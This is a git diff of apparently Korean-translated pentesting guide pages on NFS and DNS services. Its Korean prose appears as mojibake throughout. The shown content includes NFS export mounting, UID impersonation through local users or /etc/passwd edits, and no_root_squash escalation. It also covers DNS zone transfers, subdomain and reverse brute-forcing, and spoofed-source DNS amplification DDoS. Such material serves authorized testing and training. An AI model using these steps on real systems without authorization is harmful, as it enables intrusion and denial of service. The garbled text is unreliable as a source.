๋ถˆ๊ตฌํ•˜๊ณ  NFSv2 ํด๋ผ์ด์–ธํŠธ์™€์˜ ์™„์ „ํ•œ ํ•˜์œ„ ํ˜ธํ™˜์„ฑ์—๋Š” ํ•œ๊ณ„๊ฐ€ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. +- **NFSv3**: ๋‹ค์–‘ํ•œ ๊ฐœ์„  ์‚ฌํ•ญ๊ณผ ํ•จ๊ป˜ ๋„์ž…๋œ NFSv3๋Š” ์ด์ „ ๋ฒ„์ „์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜์—ฌ ๊ฐ€๋ณ€ ํŒŒ์ผ ํฌ๊ธฐ๋ฅผ ์ง€์›ํ•˜๊ณ  ๊ฐœ์„ ๋œ ์˜ค๋ฅ˜ ๋ณด๊ณ  ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋ฐœ์ „์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  NFSv2 ํด๋ผ์ด์–ธํŠธ์™€์˜ ์™„์ „ํ•œ ํ•˜์œ„ ํ˜ธํ™˜์„ฑ์—๋Š” ํ•œ๊ณ„๊ฐ€ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. -- **NFSv4**: NFS ์‹œ๋ฆฌ์ฆˆ์˜ ์ด์ •ํ‘œ๊ฐ€ ๋˜๋Š” ๋ฒ„์ „์ธ NFSv4๋Š” ๋„คํŠธ์›Œํฌ ๊ฐ„ ํŒŒ์ผ ๊ณต์œ ๋ฅผ ํ˜„๋Œ€ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ๊ธฐ๋Šฅ ๋ชจ์Œ์„ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค. ์ฃผ๋ชฉํ•  ๋งŒํ•œ ๊ฐœ์„  ์‚ฌํ•ญ์œผ๋กœ๋Š” **๋†’์€ ๋ณด์•ˆ**์„ ์œ„ํ•œ Kerberos ํ†ตํ•ฉ, ๋ฐฉํ™”๋ฒฝ์„ ํ†ต๊ณผํ•˜๊ณ  ํฌํŠธ ๋งคํผ ์—†์ด ์ธํ„ฐ๋„ท์—์„œ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ, ์ ‘๊ทผ ์ œ์–ด ๋ชฉ๋ก(ACL) ์ง€์›, ์ƒํƒœ ๊ธฐ๋ฐ˜ ์ž‘์—…์˜ ๋„์ž…์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์„ฑ๋Šฅ ํ–ฅ์ƒ๊ณผ ์ƒํƒœ ๊ธฐ๋ฐ˜ ํ”„๋กœํ† ์ฝœ์˜ ์ฑ„ํƒ์€ NFSv4๋ฅผ ๋„คํŠธ์›Œํฌ ํŒŒ์ผ ๊ณต์œ  ๊ธฐ์ˆ ์˜ ์ค‘์š”ํ•œ ๋ฐœ์ „์œผ๋กœ ๊ตฌ๋ณ„์‹œํ‚ต๋‹ˆ๋‹ค. +- **NFSv4**: NFS ์‹œ๋ฆฌ์ฆˆ์˜ ์ด์ •ํ‘œ ๋ฒ„์ „์ธ NFSv4๋Š” ๋„คํŠธ์›Œํฌ ๊ฐ„ ํŒŒ์ผ ๊ณต์œ ๋ฅผ ํ˜„๋Œ€ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ๊ธฐ๋Šฅ ๋ชจ์Œ์„ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค. ์ฃผ๋ชฉํ•  ๋งŒํ•œ ๊ฐœ์„  ์‚ฌํ•ญ์œผ๋กœ๋Š” **๋†’์€ ๋ณด์•ˆ**์„ ์œ„ํ•œ Kerberos ํ†ตํ•ฉ, ๋ฐฉํ™”๋ฒฝ์„ ํ†ต๊ณผํ•˜๊ณ  ํฌํŠธ ๋งคํผ ์—†์ด ์ธํ„ฐ๋„ท์—์„œ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ, ์ ‘๊ทผ ์ œ์–ด ๋ชฉ๋ก(ACL) ์ง€์›, ์ƒํƒœ ๊ธฐ๋ฐ˜ ์ž‘์—…์˜ ๋„์ž…์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์„ฑ๋Šฅ ํ–ฅ์ƒ๊ณผ ์ƒํƒœ ๊ธฐ๋ฐ˜ ํ”„๋กœํ† ์ฝœ์˜ ์ฑ„ํƒ์€ NFSv4๋ฅผ ๋„คํŠธ์›Œํฌ ํŒŒ์ผ ๊ณต์œ  ๊ธฐ์ˆ ์˜ ์ค‘์š”ํ•œ ๋ฐœ์ „์œผ๋กœ ๊ตฌ๋ณ„ํ•ฉ๋‹ˆ๋‹ค. -๊ฐ NFS ๋ฒ„์ „์€ ๋„คํŠธ์›Œํฌ ํ™˜๊ฒฝ์˜ ์ง„ํ™”ํ•˜๋Š” ์š”๊ตฌ๋ฅผ ์ถฉ์กฑํ•˜๊ธฐ ์œ„ํ•ด ๊ฐœ๋ฐœ๋˜์—ˆ์œผ๋ฉฐ, ๋ณด์•ˆ, ํ˜ธํ™˜์„ฑ ๋ฐ ์„ฑ๋Šฅ์„ ์ ์ง„์ ์œผ๋กœ ํ–ฅ์ƒ์‹œ์ผฐ์Šต๋‹ˆ๋‹ค. +๊ฐ NFS ๋ฒ„์ „์€ ๋„คํŠธ์›Œํฌ ํ™˜๊ฒฝ์˜ ์ง„ํ™”ํ•˜๋Š” ์š”๊ตฌ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ๊ฐœ๋ฐœ๋˜์—ˆ์œผ๋ฉฐ, ๋ณด์•ˆ, ํ˜ธํ™˜์„ฑ ๋ฐ ์„ฑ๋Šฅ์„ ์ ์ง„์ ์œผ๋กœ ํ–ฅ์ƒ์‹œ์ผฐ์Šต๋‹ˆ๋‹ค. ## Enumeration @@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` ### Mounting -์„œ๋ฒ„๊ฐ€ **๋งˆ์šดํŠธํ•  ์ˆ˜ ์žˆ๋Š”** **์–ด๋–ค ํด๋”**๊ฐ€ ์žˆ๋Š”์ง€ ์•Œ๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์„œ๋ฒ„๊ฐ€ **๋งˆ์šดํŠธ**ํ•  ์ˆ˜ ์žˆ๋Š” **์–ด๋–ค ํด๋”**๊ฐ€ ์žˆ๋Š”์ง€ ์•Œ๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash showmount -e ``` @@ -55,7 +55,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` ## ๊ถŒํ•œ -ํŠน์ • ์‚ฌ์šฉ์ž๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” **ํŒŒ์ผ ๋˜๋Š” ํด๋”**๊ฐ€ ํฌํ•จ๋œ ํด๋”๋ฅผ ๋งˆ์šดํŠธํ•˜๋ฉด (**UID**์— ์˜ํ•ด). ํ•ด๋‹น **UID**๋ฅผ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋ฅผ **๋กœ์ปฌ**์— ์ƒ์„ฑํ•˜๊ณ  ๊ทธ **์‚ฌ์šฉ์ž**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ/ํด๋”์— **์ ‘๊ทผ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํŠน์ • ์‚ฌ์šฉ์ž๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” **ํŒŒ์ผ ๋˜๋Š” ํด๋”**๊ฐ€ ํฌํ•จ๋œ ํด๋”๋ฅผ ๋งˆ์šดํŠธํ•˜๋ฉด (**UID**์— ์˜ํ•ด). ํ•ด๋‹น **UID**๋ฅผ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋ฅผ **๋กœ์ปฌ**์—์„œ ์ƒ์„ฑํ•˜๊ณ  ๊ทธ **์‚ฌ์šฉ์ž**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ/ํด๋”์— **์ ‘๊ทผ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## NSFShell @@ -76,9 +76,9 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock - **์ค‘์ฒฉ ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ๊ฐ€์‹œ์„ฑ (`nohide`):** ์ด ๊ตฌ์„ฑ์€ ๋‹ค๋ฅธ ํŒŒ์ผ ์‹œ์Šคํ…œ์ด ๋‚ด๋ณด๋‚ธ ๋””๋ ‰ํ† ๋ฆฌ ์•„๋ž˜์— ๋งˆ์šดํŠธ๋˜์–ด ์žˆ์–ด๋„ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ๋””๋ ‰ํ† ๋ฆฌ๋Š” ์ ์ ˆํ•œ ๊ด€๋ฆฌ๋ฅผ ์œ„ํ•ด ์ž์ฒด ๋‚ด๋ณด๋‚ด๊ธฐ ํ•ญ๋ชฉ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. -- **๋ฃจํŠธ ํŒŒ์ผ ์†Œ์œ ๊ถŒ (`no_root_squash`):** ์ด ์„ค์ •์„ ์‚ฌ์šฉํ•˜๋ฉด ๋ฃจํŠธ ์‚ฌ์šฉ์ž๊ฐ€ ์ƒ์„ฑํ•œ ํŒŒ์ผ์ด ์›๋ž˜ UID/GID์ธ 0์„ ์œ ์ง€ํ•˜์—ฌ ์ตœ์†Œ ๊ถŒํ•œ ์›์น™์„ ๋ฌด์‹œํ•˜๊ณ  ๊ณผ๋„ํ•œ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **๋ฃจํŠธ ํŒŒ์ผ ์†Œ์œ ๊ถŒ (`no_root_squash`):** ์ด ์„ค์ •์„ ์‚ฌ์šฉํ•˜๋ฉด ๋ฃจํŠธ ์‚ฌ์šฉ์ž๊ฐ€ ์ƒ์„ฑํ•œ ํŒŒ์ผ์ด ์›๋ž˜์˜ UID/GID์ธ 0์„ ์œ ์ง€ํ•˜๋ฉฐ, ์ตœ์†Œ ๊ถŒํ•œ ์›์น™์„ ๋ฌด์‹œํ•˜๊ณ  ๊ณผ๋„ํ•œ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **๋ชจ๋“  ์‚ฌ์šฉ์ž ๋น„์Šค์ฟผ์‹œ (`no_all_squash`):** ์ด ์˜ต์…˜์€ ์‚ฌ์šฉ์ž ์‹ ์›์ด ์‹œ์Šคํ…œ ์ „๋ฐ˜์— ๊ฑธ์ณ ์œ ์ง€๋˜๋„๋ก ๋ณด์žฅํ•˜์ง€๋งŒ, ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์œผ๋ฉด ๊ถŒํ•œ ๋ฐ ์ ‘๊ทผ ์ œ์–ด ๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **๋ชจ๋“  ์‚ฌ์šฉ์ž ๋น„์Šค์ฟผ์‹œ (`no_all_squash`):** ์ด ์˜ต์…˜์€ ์‚ฌ์šฉ์ž ์‹ ์›์ด ์‹œ์Šคํ…œ ์ „๋ฐ˜์— ๊ฑธ์ณ ์œ ์ง€๋˜๋„๋ก ๋ณด์žฅํ•˜๋ฉฐ, ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์œผ๋ฉด ๊ถŒํ•œ ๋ฐ ์ ‘๊ทผ ์ œ์–ด ๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## NFS ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์œผ๋กœ ์ธํ•œ ๊ถŒํ•œ ์ƒ์Šน @@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/ cd /mnt nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in -https://book.hacktricks.xyz/pentesting/nfs-service-pentesting +https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index 17d2b84c9..0ecf70a78 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -2,9 +2,10 @@ {{#include ../banners/hacktricks-training.md}} + ## **๊ธฐ๋ณธ ์ •๋ณด** -**๋„๋ฉ”์ธ ๋„ค์ž„ ์‹œ์Šคํ…œ(DNS)**์€ ์ธํ„ฐ๋„ท์˜ ๋””๋ ‰ํ† ๋ฆฌ ์—ญํ• ์„ ํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž๊ฐ€ google.com์ด๋‚˜ facebook.com๊ณผ ๊ฐ™์€ **๊ธฐ์–ตํ•˜๊ธฐ ์‰ฌ์šด ๋„๋ฉ”์ธ ์ด๋ฆ„**์„ ํ†ตํ•ด ์›น์‚ฌ์ดํŠธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ ์ด๋ฆ„์„ IP ์ฃผ์†Œ๋กœ ๋ณ€ํ™˜ํ•จ์œผ๋กœ์จ DNS๋Š” ์›น ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ธํ„ฐ๋„ท ๋ฆฌ์†Œ์Šค๋ฅผ ์‹ ์†ํ•˜๊ฒŒ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜์—ฌ ์šฐ๋ฆฌ๊ฐ€ ์˜จ๋ผ์ธ ์„ธ๊ณ„๋ฅผ ํƒ์ƒ‰ํ•˜๋Š” ๋ฐฉ์‹์„ ๋‹จ์ˆœํ™”ํ•ฉ๋‹ˆ๋‹ค. +**๋„๋ฉ”์ธ ๋„ค์ž„ ์‹œ์Šคํ…œ(DNS)**์€ ์ธํ„ฐ๋„ท์˜ ๋””๋ ‰ํ† ๋ฆฌ ์—ญํ• ์„ ํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž๊ฐ€ google.com ๋˜๋Š” facebook.com๊ณผ ๊ฐ™์€ **๊ธฐ์–ตํ•˜๊ธฐ ์‰ฌ์šด ๋„๋ฉ”์ธ ์ด๋ฆ„**์„ ํ†ตํ•ด ์›น์‚ฌ์ดํŠธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ ์ด๋ฆ„์„ IP ์ฃผ์†Œ๋กœ ๋ณ€ํ™˜ํ•จ์œผ๋กœ์จ DNS๋Š” ์›น ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ธํ„ฐ๋„ท ๋ฆฌ์†Œ์Šค๋ฅผ ์‹ ์†ํ•˜๊ฒŒ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜์—ฌ ์šฐ๋ฆฌ๊ฐ€ ์˜จ๋ผ์ธ ์„ธ๊ณ„๋ฅผ ํƒ์ƒ‰ํ•˜๋Š” ๋ฐฉ์‹์„ ๋‹จ์ˆœํ™”ํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 53 ``` @@ -15,12 +16,12 @@ PORT STATE SERVICE REASON ``` ### ๋‹ค๋ฅธ DNS ์„œ๋ฒ„ -- **DNS ๋ฃจํŠธ ์„œ๋ฒ„**: ์ด๋“ค์€ DNS ๊ณ„์ธต์˜ ์ตœ์ƒ์œ„์— ์œ„์น˜ํ•˜๋ฉฐ, ์ตœ์ƒ์œ„ ๋„๋ฉ”์ธ์„ ๊ด€๋ฆฌํ•˜๊ณ  ํ•˜์œ„ ์„œ๋ฒ„๊ฐ€ ์‘๋‹ตํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ์—๋งŒ ๊ฐœ์ž…ํ•ฉ๋‹ˆ๋‹ค. ์ธํ„ฐ๋„ท ํ• ๋‹น ๋ฒˆํ˜ธ ๊ด€๋ฆฌ ๊ณต์‚ฌ(**ICANN**)๊ฐ€ ์ด๋“ค์˜ ์šด์˜์„ ๊ฐ๋…ํ•˜๋ฉฐ, ์ „ ์„ธ๊ณ„์ ์œผ๋กœ 13๊ฐœ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. -- **๊ถŒํ•œ ์žˆ๋Š” ๋„ค์ž„์„œ๋ฒ„**: ์ด ์„œ๋ฒ„๋“ค์€ ์ง€์ •๋œ ์˜์—ญ ๋‚ด ์ฟผ๋ฆฌ์— ๋Œ€ํ•œ ์ตœ์ข… ๊ฒฐ์ •์„ ๋‚ด๋ฆฌ๋ฉฐ, ํ™•์ •์ ์ธ ๋‹ต๋ณ€์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์‘๋‹ต์„ ์ œ๊ณตํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ, ์ฟผ๋ฆฌ๋Š” ๋ฃจํŠธ ์„œ๋ฒ„๋กœ ์—์Šค์ปฌ๋ ˆ์ด์…˜๋ฉ๋‹ˆ๋‹ค. -- **๋น„๊ถŒํ•œ ์žˆ๋Š” ๋„ค์ž„์„œ๋ฒ„**: DNS ์˜์—ญ์— ๋Œ€ํ•œ ์†Œ์œ ๊ถŒ์ด ์—†๋Š” ์ด ์„œ๋ฒ„๋“ค์€ ๋‹ค๋ฅธ ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด ๋„๋ฉ”์ธ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. -- **์บ์‹ฑ DNS ์„œ๋ฒ„**: ์ด ์œ ํ˜•์˜ ์„œ๋ฒ„๋Š” ์ด์ „ ์ฟผ๋ฆฌ ์‘๋‹ต์„ ์ผ์ • ์‹œ๊ฐ„ ๋™์•ˆ ๊ธฐ์–ตํ•˜์—ฌ ํ–ฅํ›„ ์š”์ฒญ์— ๋Œ€ํ•œ ์‘๋‹ต ์‹œ๊ฐ„์„ ๋‹จ์ถ•์‹œํ‚ค๋ฉฐ, ์บ์‹œ ๊ธฐ๊ฐ„์€ ๊ถŒํ•œ ์žˆ๋Š” ์„œ๋ฒ„์— ์˜ํ•ด ๊ฒฐ์ •๋ฉ๋‹ˆ๋‹ค. +- **DNS ๋ฃจํŠธ ์„œ๋ฒ„**: ์ด๋“ค์€ DNS ๊ณ„์ธต์˜ ์ตœ์ƒ์œ„์— ์œ„์น˜ํ•˜๋ฉฐ, ์ตœ์ƒ์œ„ ๋„๋ฉ”์ธ์„ ๊ด€๋ฆฌํ•˜๊ณ  ํ•˜์œ„ ์„œ๋ฒ„๊ฐ€ ์‘๋‹ตํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ์—๋งŒ ๊ฐœ์ž…ํ•ฉ๋‹ˆ๋‹ค. ์ธํ„ฐ๋„ท ํ• ๋‹น ๋ฒˆํ˜ธ ๊ณต์‚ฌ(**ICANN**)๊ฐ€ ์ด๋“ค์˜ ์šด์˜์„ ๊ฐ๋…ํ•˜๋ฉฐ, ์ „ ์„ธ๊ณ„์ ์œผ๋กœ 13๊ฐœ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. +- **๊ถŒ์œ„ ์žˆ๋Š” ๋„ค์ž„์„œ๋ฒ„**: ์ด ์„œ๋ฒ„๋“ค์€ ์ง€์ •๋œ ์˜์—ญ ๋‚ด ์ฟผ๋ฆฌ์— ๋Œ€ํ•œ ์ตœ์ข… ๊ฒฐ์ •์„ ๋‚ด๋ฆฌ๋ฉฐ, ํ™•์ •์ ์ธ ๋‹ต๋ณ€์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์‘๋‹ต์„ ์ œ๊ณตํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ, ์ฟผ๋ฆฌ๋Š” ๋ฃจํŠธ ์„œ๋ฒ„๋กœ ์—์Šค์ปฌ๋ ˆ์ด์…˜๋ฉ๋‹ˆ๋‹ค. +- **๋น„๊ถŒ์œ„ ์žˆ๋Š” ๋„ค์ž„์„œ๋ฒ„**: DNS ์˜์—ญ์— ๋Œ€ํ•œ ์†Œ์œ ๊ถŒ์ด ์—†๋Š” ์ด ์„œ๋ฒ„๋“ค์€ ๋‹ค๋ฅธ ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด ๋„๋ฉ”์ธ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. +- **์บ์‹ฑ DNS ์„œ๋ฒ„**: ์ด ์œ ํ˜•์˜ ์„œ๋ฒ„๋Š” ์ด์ „ ์ฟผ๋ฆฌ ๋‹ต๋ณ€์„ ์ผ์ • ์‹œ๊ฐ„ ๋™์•ˆ ๊ธฐ์–ตํ•˜์—ฌ ํ–ฅํ›„ ์š”์ฒญ์— ๋Œ€ํ•œ ์‘๋‹ต ์‹œ๊ฐ„์„ ๋‹จ์ถ•์‹œํ‚ค๋ฉฐ, ์บ์‹œ ๊ธฐ๊ฐ„์€ ๊ถŒ์œ„ ์žˆ๋Š” ์„œ๋ฒ„์— ์˜ํ•ด ๊ฒฐ์ •๋ฉ๋‹ˆ๋‹ค. - **ํฌ์›Œ๋”ฉ ์„œ๋ฒ„**: ๊ฐ„๋‹จํ•œ ์—ญํ• ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ํฌ์›Œ๋”ฉ ์„œ๋ฒ„๋Š” ์ฟผ๋ฆฌ๋ฅผ ๋‹ค๋ฅธ ์„œ๋ฒ„๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. -- **๋ฆฌ์กธ๋ฒ„**: ์ปดํ“จํ„ฐ๋‚˜ ๋ผ์šฐํ„ฐ์— ํ†ตํ•ฉ๋˜์–ด ์žˆ๋Š” ๋ฆฌ์กธ๋ฒ„๋Š” ๋กœ์ปฌ์—์„œ ์ด๋ฆ„ ํ•ด์„์„ ์ˆ˜ํ–‰ํ•˜๋ฉฐ ๊ถŒํ•œ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +- **๋ฆฌ์กธ๋ฒ„**: ์ปดํ“จํ„ฐ๋‚˜ ๋ผ์šฐํ„ฐ์— ํ†ตํ•ฉ๋˜์–ด ์žˆ๋Š” ๋ฆฌ์กธ๋ฒ„๋Š” ๋กœ์ปฌ์—์„œ ์ด๋ฆ„ ํ•ด์„์„ ์ˆ˜ํ–‰ํ•˜๋ฉฐ ๊ถŒ์œ„ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ## ์—ด๊ฑฐ @@ -37,9 +38,9 @@ dig version.bind CHAOS TXT @DNS ``` --script dns-nsid ``` -### **๋ชจ๋“  ๋ ˆ์ฝ”๋“œ** +### **Any record** -๋ ˆ์ฝ”๋“œ **ANY**๋Š” DNS ์„œ๋ฒ„์— **์ž์‹ ์ด ๊ณต๊ฐœํ•  ์˜์‚ฌ๊ฐ€ ์žˆ๋Š”** ๋ชจ๋“  **ํ•ญ๋ชฉ**์„ **๋ฐ˜ํ™˜**ํ•˜๋„๋ก ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. +๋ ˆ์ฝ”๋“œ **ANY**๋Š” DNS ์„œ๋ฒ„์— **์ž์‹ ์ด ๊ณต๊ฐœํ•  ์˜์‚ฌ๊ฐ€ ์žˆ๋Š”** ๋ชจ๋“  ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ **ํ•ญ๋ชฉ**์„ **๋ฐ˜ํ™˜**ํ•˜๋„๋ก ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. ```bash dig any victim.com @ ``` @@ -51,7 +52,7 @@ dig axfr @ #Try zone transfer without domain dig axfr @ #Try zone transfer guessing the domain fierce --domain --dns-servers #Will try toperform a zone transfer against every authoritative name server and if this doesn'twork, will launch a dictionary attack ``` -### ๋” ๋งŽ์€ ์ •๋ณด +### ์ถ”๊ฐ€ ์ •๋ณด ```bash dig ANY @ #Any information dig A @ #Regular DNS request @@ -86,7 +87,7 @@ auxiliary/gather/enum_dns #Perform enumeration actions #Perform enumeration actions nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" ``` -### DNS - ๋ฆฌ๋ฒ„์Šค BF +### DNS - Reverse BF ```bash dnsrecon -r 127.0.0.0/24 -n #DNS reverse of all of the addresses dnsrecon -r 127.0.1.0/24 -n #DNS reverse of all of the addresses @@ -106,7 +107,7 @@ dnsenum --dnsserver --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10 dnsrecon -D subdomains-1000.txt -d -n dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan ``` -### ์•กํ‹ฐ๋ธŒ ๋””๋ ‰ํ† ๋ฆฌ ์„œ๋ฒ„ +### Active Directory ์„œ๋ฒ„ ```bash dig -t _gc._tcp.lab.domain.com dig -t _ldap._tcp.lab.domain.com @@ -129,13 +130,13 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal ```bash dnsdict6 -s -t ``` -IPv6 ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•œ ์—ญ DNS ๋ธŒ๋ฃจํŠธํฌ์Šค +IPv6 ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์—ญ DNS๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šค ๊ณต๊ฒฉํ•˜๊ธฐ ```bash dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net ``` ### DNS ์žฌ๊ท€ DDoS -๋งŒ์•ฝ **DNS ์žฌ๊ท€๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด**, ๊ณต๊ฒฉ์ž๋Š” **UDP ํŒจํ‚ท์˜ ์ถœ์ฒ˜๋ฅผ ์Šคํ‘ธํ•‘**ํ•˜์—ฌ **DNS๊ฐ€ ํ”ผํ•ด ์„œ๋ฒ„๋กœ ์‘๋‹ต์„ ๋ณด๋‚ด๋„๋ก** ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” **ANY** ๋˜๋Š” **DNSSEC** ๋ ˆ์ฝ”๋“œ ์œ ํ˜•์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋“ค์€ ๋” ํฐ ์‘๋‹ต์„ ๊ฐ€์ง€๋Š” ๊ฒฝํ–ฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค.\ +๋งŒ์•ฝ **DNS ์žฌ๊ท€๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด**, ๊ณต๊ฒฉ์ž๋Š” UDP ํŒจํ‚ท์˜ **์›๋ณธ**์„ **์Šคํ‘ธํ•‘**ํ•˜์—ฌ **DNS๊ฐ€ ํ”ผํ•ด ์„œ๋ฒ„๋กœ ์‘๋‹ต์„ ๋ณด๋‚ด๋„๋ก** ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” **ANY** ๋˜๋Š” **DNSSEC** ๋ ˆ์ฝ”๋“œ ์œ ํ˜•์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋“ค์€ ๋” ํฐ ์‘๋‹ต์„ ๊ฐ€์ง€๋Š” ๊ฒฝํ–ฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค.\ DNS๊ฐ€ **์žฌ๊ท€**๋ฅผ ์ง€์›ํ•˜๋Š”์ง€ **ํ™•์ธ**ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ์ฟผ๋ฆฌํ•˜๊ณ  **ํ”Œ๋ž˜๊ทธ "ra"** (_์žฌ๊ท€ ์‚ฌ์šฉ ๊ฐ€๋Šฅ_)๊ฐ€ ์‘๋‹ต์— ์žˆ๋Š”์ง€ **ํ™•์ธ**ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: ```bash dig google.com A @ @@ -151,7 +152,7 @@ dig google.com A @ ### ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ณ„์ •์œผ๋กœ ๋ฉ”์ผ ๋ณด๋‚ด๊ธฐ -**ํ”ผํ•ด์ž์˜ ๋„๋ฉ”์ธ์„ 